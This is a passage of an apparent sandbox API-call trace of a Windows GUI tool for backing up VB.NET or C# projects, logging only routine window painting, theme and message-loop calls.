(hdc=0x36010156, hrgn=0x2c040850) returned 2 [0051.967] DeleteObject (ho=0x320401e3) returned 1 [0051.967] DeleteObject (ho=0x2c040850) returned 1 [0051.967] OffsetViewportOrgEx (in: hdc=0x36010156, x=0, y=0, lppt=0x25c9a94 | out: lppt=0x25c9a94) returned 1 [0051.967] IsAppThemed () returned 0x1 [0051.967] GetThemeAppProperties () returned 0x3 [0051.967] GetThemeAppProperties () returned 0x3 [0051.967] DrawThemeBackground () returned 0x0 [0051.967] RestoreDC (hdc=0x36010156, nSavedDC=-1) returned 1 [0051.967] GdipReleaseDC (graphics=0x4c358c0, hdc=0x36010156) returned 0x0 [0051.967] GdipCreateRegion (region=0x32e950) returned 0x0 [0051.967] GdipGetClip (graphics=0x4c358c0, region=0x4c35ba0) returned 0x0 [0051.967] GdipCreateMatrix (matrix=0x32e950) returned 0x0 [0051.967] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0051.967] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32e968) returned 0x0 [0051.967] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x634980 [0051.967] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x634980) returned 0x0 [0051.967] LocalFree (hMem=0x634980) returned 0x0 [0051.968] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x634980 [0051.968] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x634980) returned 0x0 [0051.968] LocalFree (hMem=0x634980) returned 0x0 [0051.968] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0051.968] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e990) returned 0x0 [0051.968] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e980) returned 0x0 [0051.968] GdipGetRegionHRgn (region=0x4c35ba0, graphics=0x4c358c0, hRgn=0x32e980) returned 0x0 [0051.968] GdipDeleteRegion (region=0x4c35ba0) returned 0x0 [0051.968] GdipGetDC (graphics=0x4c358c0, hdc=0x32e998) returned 0x0 [0051.968] GetCurrentObject (hdc=0x36010156, type=0x1) returned 0x1b00017 [0051.968] GetCurrentObject (hdc=0x36010156, type=0x2) returned 0x1900010 [0051.968] GetCurrentObject (hdc=0x36010156, type=0x7) returned 0x70050254 [0051.968] GetCurrentObject (hdc=0x36010156, type=0x6) returned 0x18a002e [0051.968] SaveDC (hdc=0x36010156) returned 1 [0051.968] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x2d040850 [0051.968] GetClipRgn (hdc=0x36010156, hrgn=0x2d040850) returned 0 [0051.968] SelectClipRgn (hdc=0x36010156, hrgn=0x330401e3) returned 2 [0051.968] DeleteObject (ho=0x2d040850) returned 1 [0051.968] DeleteObject (ho=0x330401e3) returned 1 [0051.968] OffsetViewportOrgEx (in: hdc=0x36010156, x=0, y=0, lppt=0x25c9d68 | out: lppt=0x25c9d68) returned 1 [0051.968] IsAppThemed () returned 0x1 [0051.968] GetThemeAppProperties () returned 0x3 [0051.968] GetThemeAppProperties () returned 0x3 [0051.968] GetThemeBackgroundContentRect () returned 0x0 [0051.968] RestoreDC (hdc=0x36010156, nSavedDC=-1) returned 1 [0051.968] GdipReleaseDC (graphics=0x4c358c0, hdc=0x36010156) returned 0x0 [0051.969] IsAppThemed () returned 0x1 [0051.969] GetThemeAppProperties () returned 0x3 [0051.969] GetThemeAppProperties () returned 0x3 [0051.969] GdipGetTextRenderingHint (graphics=0x4c358c0, mode=0x32eac8) returned 0x0 [0051.969] GdipGetDC (graphics=0x4c358c0, hdc=0x32eab4) returned 0x0 [0051.969] GetCurrentObject (hdc=0x36010156, type=0x1) returned 0x1b00017 [0051.969] GetCurrentObject (hdc=0x36010156, type=0x2) returned 0x1900010 [0051.969] GetCurrentObject (hdc=0x36010156, type=0x7) returned 0x70050254 [0051.969] GetCurrentObject (hdc=0x36010156, type=0x6) returned 0x18a002e [0051.969] SaveDC (hdc=0x36010156) returned 1 [0051.969] GetTextAlign (hdc=0x36010156) returned 0x0 [0051.969] GetTextColor (hdc=0x36010156) returned 0x0 [0051.969] GetCurrentObject (hdc=0x36010156, type=0x6) returned 0x18a002e [0051.969] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7bc | out: pv=0x32e7bc) returned 92 [0051.969] SelectObject (hdc=0x36010156, h=0x100a0252) returned 0x18a002e [0051.969] GetBkMode (hdc=0x36010156) returned 2 [0051.969] SetBkMode (hdc=0x36010156, mode=1) returned 2 [0051.969] DrawTextExW (in: hdc=0x36010156, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e890, format=0x2415, lpdtp=0x25ca0fc | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e890) returned 13 [0051.969] DrawTextExW (in: hdc=0x36010156, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32ea48, format=0x2015, lpdtp=0x25ca0fc | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32ea48) returned 13 [0051.970] RestoreDC (hdc=0x36010156, nSavedDC=-1) returned 1 [0051.970] GdipReleaseDC (graphics=0x4c358c0, hdc=0x36010156) returned 0x0 [0051.970] GetFocus () returned 0x0 [0051.970] IsAppThemed () returned 0x1 [0051.970] GetThemeAppProperties () returned 0x3 [0051.970] GetThemeAppProperties () returned 0x3 [0051.970] GdipGetDC (graphics=0x4c358c0, hdc=0x32ec94) returned 0x0 [0051.970] BitBlt (hdc=0x2010847, x=0, y=0, cx=163, cy=29, hdcSrc=0x36010156, x1=0, y1=0, rop=0xcc0020) returned 1 [0051.970] GdipReleaseDC (graphics=0x4c358c0, hdc=0x36010156) returned 0x0 [0051.970] SelectPalette (hdc=0x2010847, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0051.970] SelectObject (hdc=0x36010156, h=0x185000f) returned 0x70050254 [0051.970] DeleteDC (hdc=0x36010156) returned 1 [0051.970] GdipDeleteGraphics (graphics=0x4c358c0) returned 0x0 [0051.970] EndPaint (hWnd=0x201e4, lpPaint=0x32ec38) returned 1 [0051.970] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0051.970] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0051.970] WaitMessage () returned 1 [0051.975] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0051.975] IsWindowUnicode (hWnd=0x201d6) returned 1 [0051.975] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0051.975] TranslateMessage (lpMsg=0x32f158) returned 0 [0051.975] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0051.975] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0051.975] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0051.975] WaitMessage () returned 1 [0052.179] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0052.179] IsWindowUnicode (hWnd=0x201d8) returned 1 [0052.179] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0052.179] TranslateMessage (lpMsg=0x32f158) returned 0 [0052.179] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0052.179] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0052.179] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0052.179] WaitMessage () returned 1 [0061.767] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0061.767] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x46, wParam=0x0, lParam=0x32f040) returned 0x0 [0061.768] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x46, wParam=0x0, lParam=0x32f040) returned 0x0 [0061.778] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32edf0 | out: lpwndpl=0x32edf0) returned 1 [0061.779] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x47, wParam=0x0, lParam=0x32f040) returned 0x0 [0061.779] GetClientRect (in: hWnd=0x50120, lpRect=0x32eda0 | out: lpRect=0x32eda0) returned 1 [0061.779] GetWindowRect (in: hWnd=0x50120, lpRect=0x32eda0 | out: lpRect=0x32eda0) returned 1 [0061.780] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x47, wParam=0x0, lParam=0x32f040) returned 0x0 [0061.780] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0xd, wParam=0x104, lParam=0x4b8edb8) returned 0x0 [0061.780] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x1c, wParam=0x1, lParam=0x518) returned 0x0 [0061.780] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x1c, wParam=0x1, lParam=0x518) returned 0x0 [0061.780] NtdllDefWindowProc_W () returned 0x0 [0061.780] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0061.788] GetFocus () returned 0x0 [0061.788] SetFocus (hWnd=0x201e4) returned 0x0 [0061.789] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0061.789] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0061.789] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0061.789] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0061.789] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0061.789] GetStockObject (i=5) returned 0x1900015 [0061.789] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0061.789] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0xd, wParam=0x1a, lParam=0x64af58) returned 0x19 [0061.789] GetDlgItem (hDlg=0x50120, nIDDlgItem=131556) returned 0x201e4 [0061.789] SendMessageW (hWnd=0x201e4, Msg=0x202b, wParam=0x201e4, lParam=0x32e838) returned 0x0 [0061.789] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x202b, wParam=0x201e4, lParam=0x32e838) returned 0x0 [0061.790] InvalidateRect (hWnd=0x201e4, lpRect=0x0, bErase=0) returned 1 [0061.790] IsWindowUnicode (hWnd=0x201e4) returned 1 [0061.790] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0061.790] TranslateMessage (lpMsg=0x32f158) returned 0 [0061.790] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0061.790] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0061.790] IsWindowUnicode (hWnd=0x201e4) returned 1 [0061.790] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0061.790] GetKeyState (nVirtKey=16) returned 0 [0061.790] GetKeyState (nVirtKey=17) returned 0 [0061.790] GetKeyState (nVirtKey=18) returned -128 [0061.790] TranslateMessage (lpMsg=0x32f158) returned 1 [0061.790] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0061.790] GetKeyState (nVirtKey=16) returned 0 [0061.790] GetKeyState (nVirtKey=17) returned 0 [0061.790] GetKeyState (nVirtKey=18) returned -128 [0061.790] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x105, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0061.790] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0061.790] IsWindowUnicode (hWnd=0x201e4) returned 1 [0061.790] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0061.790] GetKeyState (nVirtKey=16) returned 0 [0061.790] GetKeyState (nVirtKey=17) returned 0 [0061.790] GetKeyState (nVirtKey=18) returned 0 [0061.790] TranslateMessage (lpMsg=0x32f158) returned 1 [0061.790] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0061.791] GetKeyState (nVirtKey=16) returned 0 [0061.791] GetKeyState (nVirtKey=17) returned 0 [0061.791] GetKeyState (nVirtKey=18) returned 0 [0061.791] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x101, wParam=0x12, lParam=0xc0380001) returned 0x0 [0061.791] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0061.791] IsWindowUnicode (hWnd=0x201e4) returned 1 [0061.791] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0061.791] TranslateMessage (lpMsg=0x32f158) returned 0 [0061.791] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0061.791] BeginPaint (in: hWnd=0x201e4, lpPaint=0x32ec3c | out: lpPaint=0x32ec3c) returned 0x1010830 [0061.791] SelectPalette (hdc=0x1010830, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0061.791] CreateCompatibleDC (hdc=0x1010830) returned 0x46010156 [0061.791] SelectObject (hdc=0x46010156, h=0x70050254) returned 0x185000f [0061.791] GdipCreateFromHDC (hdc=0x46010156, graphics=0x32ec54) returned 0x0 [0061.791] GdipTranslateWorldTransform (graphics=0x4c358c0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0061.791] GdipSetClipRectI (graphics=0x4c358c0, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0061.791] GdipCreateMatrix (matrix=0x32ec9c) returned 0x0 [0061.791] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35ba0) returned 0x0 [0061.791] GdipIsMatrixIdentity (matrix=0x4c35ba0, result=0x32ecb4) returned 0x0 [0061.791] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61930 [0061.791] GdipGetMatrixElements (matrix=0x4c35ba0, matrixOut=0x4e61930) returned 0x0 [0061.792] LocalFree (hMem=0x4e61930) returned 0x0 [0061.792] GdipDeleteMatrix (matrix=0x4c35ba0) returned 0x0 [0061.792] GdipCreateRegion (region=0x32ec9c) returned 0x0 [0061.792] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0061.792] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32eca8) returned 0x0 [0061.792] GdipSaveGraphics (graphics=0x4c358c0, state=0x32ecd4) returned 0x0 [0061.792] GdipRestoreGraphics (graphics=0x4c358c0, state=0xfd9f0dbd) returned 0x0 [0061.792] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0061.792] GdipGetDC (graphics=0x4c358c0, hdc=0x32eac0) returned 0x0 [0061.792] GetCurrentObject (hdc=0x46010156, type=0x1) returned 0x1b00017 [0061.792] GetCurrentObject (hdc=0x46010156, type=0x2) returned 0x1900010 [0061.792] GetCurrentObject (hdc=0x46010156, type=0x7) returned 0x70050254 [0061.792] GetCurrentObject (hdc=0x46010156, type=0x6) returned 0x18a002e [0061.792] SaveDC (hdc=0x46010156) returned 1 [0061.792] GetNearestColor (hdc=0x46010156, color=0xf0f0f0) returned 0xf0f0f0 [0061.792] GetNearestColor (hdc=0x46010156, color=0xa0a0a0) returned 0xa0a0a0 [0061.792] GetNearestColor (hdc=0x46010156, color=0x696969) returned 0x696969 [0061.792] GetNearestColor (hdc=0x46010156, color=0xa0a0a0) returned 0xa0a0a0 [0061.793] GetNearestColor (hdc=0x46010156, color=0x0) returned 0x0 [0061.793] GetNearestColor (hdc=0x46010156, color=0xffffff) returned 0xffffff [0061.793] GetNearestColor (hdc=0x46010156, color=0xe5e5e5) returned 0xe5e5e5 [0061.793] GetNearestColor (hdc=0x46010156, color=0xd7d7d7) returned 0xd7d7d7 [0061.793] GetNearestColor (hdc=0x46010156, color=0x0) returned 0x0 [0061.793] RestoreDC (hdc=0x46010156, nSavedDC=-1) returned 1 [0061.793] GdipReleaseDC (graphics=0x4c358c0, hdc=0x46010156) returned 0x0 [0061.793] IsAppThemed () returned 0x1 [0061.793] GetThemeAppProperties () returned 0x3 [0061.793] GetThemeAppProperties () returned 0x3 [0061.793] IsAppThemed () returned 0x1 [0061.793] GetThemeAppProperties () returned 0x3 [0061.793] GetThemeAppProperties () returned 0x3 [0061.793] DrawTextExW (in: hdc=0x11010846, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e97c, format=0x2415, lpdtp=0x26741e8 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e97c) returned 13 [0061.793] IsAppThemed () returned 0x1 [0061.793] GetThemeAppProperties () returned 0x3 [0061.793] GetThemeAppProperties () returned 0x3 [0061.793] IsAppThemed () returned 0x1 [0061.794] GetThemeAppProperties () returned 0x3 [0061.794] GetThemeAppProperties () returned 0x3 [0061.794] GetFocus () returned 0x201e4 [0061.794] IsAppThemed () returned 0x1 [0061.794] GetThemeAppProperties () returned 0x3 [0061.794] GetThemeAppProperties () returned 0x3 [0061.794] IsAppThemed () returned 0x1 [0061.794] GetThemeAppProperties () returned 0x3 [0061.794] GetThemeAppProperties () returned 0x3 [0061.794] IsThemePartDefined () returned 0x1 [0061.794] IsAppThemed () returned 0x1 [0061.794] GetThemeAppProperties () returned 0x3 [0061.794] GetThemeAppProperties () returned 0x3 [0061.794] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0061.794] IsAppThemed () returned 0x1 [0061.794] GetThemeAppProperties () returned 0x3 [0061.794] GetThemeAppProperties () returned 0x3 [0061.794] IsAppThemed () returned 0x1 [0061.794] GetThemeAppProperties () returned 0x3 [0061.794] GetThemeAppProperties () returned 0x3 [0061.794] IsThemePartDefined () returned 0x1 [0061.794] GdipCreateRegion (region=0x32e9c4) returned 0x0 [0061.794] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0061.794] GdipCreateMatrix (matrix=0x32e9c4) returned 0x0 [0061.794] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0061.794] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32e9dc) returned 0x0 [0061.794] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61930 [0061.794] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61930) returned 0x0 [0061.794] LocalFree (hMem=0x4e61930) returned 0x0 [0061.794] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61930 [0061.794] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61930) returned 0x0 [0061.795] LocalFree (hMem=0x4e61930) returned 0x0 [0061.795] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0061.795] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32ea04) returned 0x0 [0061.795] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32e9f4) returned 0x0 [0061.795] GdipGetRegionHRgn (region=0x4c35bd0, graphics=0x4c358c0, hRgn=0x32e9f4) returned 0x0 [0061.795] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0061.795] GdipGetDC (graphics=0x4c358c0, hdc=0x32ea0c) returned 0x0 [0061.795] GetCurrentObject (hdc=0x46010156, type=0x1) returned 0x1b00017 [0061.795] GetCurrentObject (hdc=0x46010156, type=0x2) returned 0x1900010 [0061.795] GetCurrentObject (hdc=0x46010156, type=0x7) returned 0x70050254 [0061.795] GetCurrentObject (hdc=0x46010156, type=0x6) returned 0x18a002e [0061.795] SaveDC (hdc=0x46010156) returned 1 [0061.795] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x340401e3 [0061.795] GetClipRgn (hdc=0x46010156, hrgn=0x340401e3) returned 0 [0061.795] SelectClipRgn (hdc=0x46010156, hrgn=0x34040850) returned 2 [0061.795] DeleteObject (ho=0x340401e3) returned 1 [0061.795] DeleteObject (ho=0x34040850) returned 1 [0061.795] OffsetViewportOrgEx (in: hdc=0x46010156, x=0, y=0, lppt=0x2674898 | out: lppt=0x2674898) returned 1 [0061.795] DrawThemeParentBackground () returned 0x0 [0061.796] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32e780 | out: lpwndpl=0x32e780) returned 1 [0061.796] GetClientRect (in: hWnd=0x50120, lpRect=0x32e72c | out: lpRect=0x32e72c) returned 1 [0061.796] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0061.796] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0061.796] GetSystemMetrics (nIndex=42) returned 0 [0061.796] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e5bc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0061.796] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e5bc) returned 0x23 [0061.796] GetClientRect (in: hWnd=0x50120, lpRect=0x32e634 | out: lpRect=0x32e634) returned 1 [0061.796] GetCurrentObject (hdc=0x46010156, type=0x1) returned 0x1b00017 [0061.796] GetCurrentObject (hdc=0x46010156, type=0x2) returned 0x1900010 [0061.796] GetCurrentObject (hdc=0x46010156, type=0x7) returned 0x70050254 [0061.796] GetCurrentObject (hdc=0x46010156, type=0x6) returned 0x18a002e [0061.796] SaveDC (hdc=0x46010156) returned 2 [0061.796] GetNearestColor (hdc=0x46010156, color=0xf0f0f0) returned 0xf0f0f0 [0061.796] CreateSolidBrush (color=0xf0f0f0) returned 0x1610084d [0061.796] FillRect (hDC=0x46010156, lprc=0x32e4d4, hbr=0x1610084d) returned 1 [0061.796] DeleteObject (ho=0x1610084d) returned 1 [0061.796] RestoreDC (hdc=0x46010156, nSavedDC=-1) returned 1 [0061.796] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0061.797] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0061.797] GetSystemMetrics (nIndex=42) returned 0 [0061.797] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0061.797] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0061.797] GetClientRect (in: hWnd=0x50120, lpRect=0x32e5d4 | out: lpRect=0x32e5d4) returned 1 [0061.797] GetCurrentObject (hdc=0x46010156, type=0x1) returned 0x1b00017 [0061.797] GetCurrentObject (hdc=0x46010156, type=0x2) returned 0x1900010 [0061.797] GetCurrentObject (hdc=0x46010156, type=0x7) returned 0x70050254 [0061.797] GetCurrentObject (hdc=0x46010156, type=0x6) returned 0x18a002e [0061.797] SaveDC (hdc=0x46010156) returned 2 [0061.797] GetNearestColor (hdc=0x46010156, color=0xf0f0f0) returned 0xf0f0f0 [0061.797] CreateSolidBrush (color=0xf0f0f0) returned 0x1710084d [0061.797] FillRect (hDC=0x46010156, lprc=0x32e474, hbr=0x1710084d) returned 1 [0061.797] DeleteObject (ho=0x1710084d) returned 1 [0061.797] RestoreDC (hdc=0x46010156, nSavedDC=-1) returned 1 [0061.797] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0061.797] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0061.797] GetSystemMetrics (nIndex=42) returned 0 [0061.797] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0061.797] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0061.797] RestoreDC (hdc=0x46010156, nSavedDC=-1) returned 1 [0061.798] GdipReleaseDC (graphics=0x4c358c0, hdc=0x46010156) returned 0x0 [0061.798] IsAppThemed () returned 0x1 [0061.798] GetThemeAppProperties () returned 0x3 [0061.798] GetThemeAppProperties () returned 0x3 [0061.798] IsAppThemed () returned 0x1 [0061.798] GetThemeAppProperties () returned 0x3 [0061.798] GetThemeAppProperties () returned 0x3 [0061.798] IsThemePartDefined () returned 0x1 [0061.798] GdipCreateRegion (region=0x32e968) returned 0x0 [0061.798] GdipGetClip (graphics=0x4c358c0, region=0x4c35ba0) returned 0x0 [0061.798] GdipCreateMatrix (matrix=0x32e968) returned 0x0 [0061.798] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35c30) returned 0x0 [0061.798] GdipIsMatrixIdentity (matrix=0x4c35c30, result=0x32e980) returned 0x0 [0061.798] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61930 [0061.798] GdipGetMatrixElements (matrix=0x4c35c30, matrixOut=0x4e61930) returned 0x0 [0061.798] LocalFree (hMem=0x4e61930) returned 0x0 [0061.798] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61930 [0061.798] GdipGetMatrixElements (matrix=0x4c35c30, matrixOut=0x4e61930) returned 0x0 [0061.798] LocalFree (hMem=0x4e61930) returned 0x0 [0061.798] GdipDeleteMatrix (matrix=0x4c35c30) returned 0x0 [0061.798] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e9a8) returned 0x0 [0061.798] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e998) returned 0x0 [0061.798] GdipGetRegionHRgn (region=0x4c35ba0, graphics=0x4c358c0, hRgn=0x32e998) returned 0x0 [0061.799] GdipDeleteRegion (region=0x4c35ba0) returned 0x0 [0061.799] GdipGetDC (graphics=0x4c358c0, hdc=0x32e9b0) returned 0x0 [0061.799] GetCurrentObject (hdc=0x46010156, type=0x1) returned 0x1b00017 [0061.799] GetCurrentObject (hdc=0x46010156, type=0x2) returned 0x1900010 [0061.799] GetCurrentObject (hdc=0x46010156, type=0x7) returned 0x70050254 [0061.799] GetCurrentObject (hdc=0x46010156, type=0x6) returned 0x18a002e [0061.799] SaveDC (hdc=0x46010156) returned 1 [0061.799] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x35040850 [0061.799] GetClipRgn (hdc=0x46010156, hrgn=0x35040850) returned 0 [0061.799] SelectClipRgn (hdc=0x46010156, hrgn=0x360401e3) returned 2 [0061.799] DeleteObject (ho=0x35040850) returned 1 [0061.799] DeleteObject (ho=0x360401e3) returned 1 [0061.799] OffsetViewportOrgEx (in: hdc=0x46010156, x=0, y=0, lppt=0x26752d0 | out: lppt=0x26752d0) returned 1 [0061.799] IsAppThemed () returned 0x1 [0061.799] GetThemeAppProperties () returned 0x3 [0061.799] GetThemeAppProperties () returned 0x3 [0061.799] DrawThemeBackground () returned 0x0 [0061.799] RestoreDC (hdc=0x46010156, nSavedDC=-1) returned 1 [0061.799] GdipReleaseDC 